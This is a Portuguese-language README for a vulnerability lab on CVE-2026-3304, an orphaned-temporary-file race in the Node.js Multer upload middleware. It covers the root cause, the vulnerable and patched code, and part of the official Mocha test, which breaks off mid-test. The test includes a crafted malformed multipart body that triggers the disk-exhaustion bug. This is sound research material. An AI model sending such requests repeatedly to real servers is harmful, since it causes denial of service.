
Laboratório de reprodução para CVE-2026-3304, uma condição de corrida no fileFilter assíncrono do Multer que causa esgotamento de disco por meio de arquivos temporários órfãos. Inclui servidores Docker vulneráveis e corrigidos, scripts de exploit e análise da causa raiz.
Apenas para fins educacionais e de pesquisa. Atacar sistemas sem autorização é ilegal.
Este ambiente de laboratório foi construído analisando o patch do Multer 2.1.0 e seu código de teste oficial. O servidor vulnerável replica as condições exatas descritas no teste do patch, e o servidor corrigido executa o Multer 2.1.0 para confirmar que a correção funciona.
| Campo | Detalhes |
|---|---|
| CVE | CVE-2026-3304 |
| Alvo | Multer < 2.1.0 (middleware multipart/form-data do Node.js) |
| Tipo | DoS — Arquivo Órfão (limpeza incompleta de arquivos temporários) |
| CWE | CWE-459: Limpeza Incompleta |
| CVSS 4.0 | 8.7 ALTA |
| Versão Corrigida | Multer 2.1.0 |
Uma requisição multipart malformada com um atributo name ausente em uma parte de arquivo faz com que o Multer crie um arquivo temporário no disco, mas nunca o limpe. Requisições repetidas esgotam o espaço em disco, resultando em uma Negação de Serviço.
A vulnerabilidade se origina no fluxo de tratamento do callback fileFilter dentro de multer/lib/make-middleware.js.
Quando o Multer transmite e analisa uma requisição multipart parte por parte, ocorre a seguinte sequência:
[Sequência de eventos de análise — versão vulnerável]
1. Cabeçalho da Parte 1 recebido
→ fileFilter(req, file, cb) chamado
→ setImmediate(cb) → callback adiado para o próximo ciclo do event loop
2. Corpo da Parte 1 recebido
→ /tmp/uploads/<uuid> aberto, dados começam a ser gravados
3. Cabeçalho da Parte 2 recebido (atributo name ausente)
→ Multer detecta 'name ausente'
→ errorOccured = true ← flag de erro definido
→ abortWithCode('LIMIT_FIELD_KEY') chamado → HTTP 500 agendado
4. Callback do setImmediate dispara (próximo ciclo do event loop)
→ resultado do fileFilter: includeFile = true (fluxo normal)
→ [BUG] flag errorOccured NÃO é verificada
→ storage._handleFile() chamado → arquivo temporário confirmado no disco
5. Resposta HTTP 500 enviada
→ arquivo temporário permanece no disco (arquivo órfão)
make-middleware.js — Multer < 2.1.0)// callback de conclusão do fileFilter (adiado via setImmediate)
fileFilter(req, file, function (err, includeFile) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
if (!includeFile) {
appender.removePlaceholder(placeholder)
return fileStream.resume()
}
// ❌ errorOccured nunca é verificado aqui
// mesmo que um erro tenha sido definido durante a análise da Parte 2, a execução continua
storage._handleFile(req, file, function (err, info) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
// arquivo temporário é registrado em uploadedFiles e deixado no disco
appender.replacePlaceholder(placeholder, assign(file, info))
checkFinished()
})
})
Por que o setImmediate é o problema?
Envolver fileFilter com setImmediate adia seu callback para o próximo ciclo do event loop.
Nessa janela, o busboy (o analisador multipart) continua analisando os cabeçalhos da próxima parte,
descobre o name ausente e define errorOccured = true.
Quando o callback é retomado, o estado de erro já está definido — mas o código nunca o verifica,
então storage._handleFile é chamado incondicionalmente e o arquivo temporário é gravado no disco.
Commit da correção: 739919097d
Uma única proteção if (errorOccured) foi adicionada imediatamente após a entrada do callback fileFilter,
antes que storage._handleFile seja alcançado.
// callback de conclusão do fileFilter (Multer 2.1.0)
fileFilter(req, file, function (err, includeFile) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
// ✅ [PATCH] Verifica errorOccured antes de prosseguir
if (errorOccured) {
appender.removePlaceholder(placeholder)
return fileStream.resume() // drena o stream — nenhum arquivo gravado no disco
}
if (!includeFile) {
appender.removePlaceholder(placeholder)
return fileStream.resume()
}
storage._handleFile(req, file, function (err, info) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
appender.replacePlaceholder(placeholder, assign(file, info))
checkFinished()
})
})
| Item | Vulnerável (< 2.1.0) | Corrigido (2.1.0) |
|---|---|---|
Verificação de errorOccured | ❌ Não verificada | ✅ Verificada imediatamente na entrada do callback |
_handleFile chamado em caso de erro | Sim | Bloqueado |
| Limpeza de arquivos temporários | ❌ Ausente | ✅ Via fileStream.resume() |
| Arquivos órfãos por requisição | 1 | 0 |
Por que fileStream.resume() faz a limpeza:
Chamar fileStream.resume() drena e descarta o stream sem passá-lo ao DiskStorage,
então nenhum arquivo é gravado e nada é deixado no disco.
A equipe do Multer incluiu o seguinte teste Mocha no patch 2.1.0 para verificar a correção.
Este teste se tornou o modelo para este ambiente de laboratório — o servidor vulnerável
replica a configuração exata descrita aqui (setImmediate fileFilter + requisição multipart malformada),
e o comportamento esperado é verificado tanto nas versões vulnerável quanto corrigida.
/* eslint-env mocha */
var assert = require('assert')
var fs = require('fs')
var os = require('os')
var path = require('path')
var http = require('http')
var express = require('express')
var multer = require('../')
describe('limpeza assíncrona do fileFilter', function () {
it('não deixa arquivos órfãos quando a requisição é abortada com nome de campo ausente', function (done) {
var uploadDir = fs.mkdtempSync(path.join(os.tmpdir(), 'multer-orphan-'))
var app = express()
// Gatilho da vulnerabilidade: fileFilter assíncrono via setImmediate
var upload = multer({
dest: uploadDir,
fileFilter: function (req, file, cb) {
setImmediate(function () { cb(null, true) })
}
})
app.post('/upload', upload.any(), function (req, res) {
res.json({ success: true })
})
// Tratador de erros: responde com 400
app.use(function (err, req, res, next) {
res.status(400).json({ error: err.code })
})
var server = app.listen(0, function () {
var port = server.address().port
var boundary = 'TestBound'
// Corpo malicioso: Parte 1 válida, Parte 2 sem atributo name
var body =
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="f"; filename="a.bin"\r\n' +
'Content-Type: application/octet-stream\r\n\r\nDADOS DO ARQUIVO ÓRFÃO\r\n' +
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; filename="b.bin"\r\n' + // ← name= ausente
'Content-Type: application/octet-stream\r\n\r\nx\r\n' +
'--' + boundary + '--\r\n'
var req = http.request({
hostname: 'localhost',
port: port,
path: '/upload',
method: 'POST',
headers: {
'Content-Type': 'multipart/form-data; boundary=' + boundary,
'Content-Length': Buffer.byteLength(body)
}
}, function (res) {
res.resume()
res.on('end', function () {
setTimeout(function () {
var files = fs.readdirSync(uploadDir)
// Verificação 1: o servidor deve responder com 400 (erro)
assert.strictEqual(res.statusCode, 400)